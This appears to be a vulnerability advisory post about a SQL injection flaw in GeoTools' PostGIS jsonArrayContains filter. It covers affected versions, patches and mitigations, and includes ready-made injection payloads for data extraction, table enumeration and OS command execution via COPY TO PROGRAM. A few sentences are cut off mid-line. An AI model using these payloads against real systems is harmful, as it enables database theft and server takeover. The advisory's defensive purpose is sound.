Listen to this Post
CVE-2026-76904 is a critical unauthenticated SQL injection vulnerability discovered in the GeoTools open-source Java library, which is widely used by GeoServer and other geospatial applications for processing geographic data. The flaw exists specifically within the `jsonArrayContains` filter function of the PostGIS DataStore implementation. When an application uses an OGC Filter that invokes `jsonArrayContains` against a PostGIS layer, the function writes the user-supplied `
Exploitation of this vulnerability requires specific environmental conditions: the backend database must be running PostGIS version 12 or greater, and the targeted column must be of String or JSON data type. Because the function concatenates user input directly into the SQL string, an attacker can inject arbitrary SQL commands through the JSON array values passed to the filter. The vulnerability is a regression of the earlier CVE-2023-25158 issue; the previous mitigation—enabling prepared statements and disabling encode functions—does not prevent this specific flaw in the `jsonArrayContains` function.
The attack vector is network-based and requires no authentication or user interaction, making it highly dangerous. An attacker can send a crafted OGC filter request—for example, via WFS GetFeature requests with a malicious `CQL_FILTER` parameter—to any application embedding the vulnerable GeoTools module. Depending on the privileges assigned to the database connection account, this can lead to unauthorized data access, modification, deletion, and in worst-case scenarios, remote code execution on the underlying operating system. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical).
Affected versions include GeoTools 30.5 through 33.5, 34.0 through 34.4, and version 35.0. Patched versions are 33.6, 34.5, and 35.1. No complete software workaround is available; however, configuring the PostGIS connection pool with the principle of least privilege can limit the potential impact.
DailyCVE Form:
Platform: GeoTools
Version: 30.5-35.0
Vulnerability: SQL Injection
Severity: Critical
date: 2026-08-15
Prediction: 2026-08-22
What Undercode Say:
The vulnerability is triggered via unauthenticated OGC filter requests. Below are example commands and code snippets demonstrating the flaw and its detection.
Check GeoTools version in your project mvn dependency:tree | grep geotools Identify PostGIS version psql -U username -d database -c "SELECT PostGIS_Version();" Monitor for suspicious SQL patterns in PostGIS logs tail -f /var/log/postgresql/postgresql-.log | grep -E "jsonArrayContains|SELECT.FROM"
Example of a vulnerable OGC filter request (WFS GetFeature):
<Filter> <Function name="jsonArrayContains"> <PropertyName>target_column</PropertyName> <Literal>$.pointer</Literal> <Literal>malicious' OR '1'='1'::text</Literal> </Function> </Filter>
Alternative CQL_FILTER parameter injection:
CQL_FILTER=jsonArrayContains(target_column, '$.path', 'malicious'' OR ''1''=''1''::text')
Exploit: (Educational Purposes!)
An attacker can inject SQL commands through the `
Example injection to extract database version jsonArrayContains(column, '$.path', '' UNION SELECT version()-- -') Example injection to enumerate tables jsonArrayContains(column, '$.path', '' UNION SELECT table_name FROM information_schema.tables-- -') Example to execute OS commands (if Postgres superuser) jsonArrayContains(column, '$.path', ''; COPY (SELECT '') TO PROGRAM 'id'-- -')
The unsanitized value is directly embedded into the SQL, allowing arbitrary SQL expression execution.
Protection:
Upgrade to a patched version immediately:
- GeoTools 33.6 or later
- GeoTools 34.5 or later
- GeoTools 35.1 or later
For GeoServer users, upgrade to fixed distributions: GeoServer 2.27.6, 2.28.5, or 3.0.1. If patching is not immediately possible, restrict the PostGIS database connection to a role with minimal privileges and avoid superuser or program-execution rights. Monitor database logs for anomalous queries and restrict network exposure of GeoServer/GeoTools instances.
Impact:
Successful exploitation leads to execution of arbitrary SQL expressions in the database. This can result in full compromise of confidentiality, integrity, and availability of the backing database. With elevated database privileges, the flaw can escalate to operating system command execution, potentially compromising the entire server infrastructure hosting the geospatial data.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
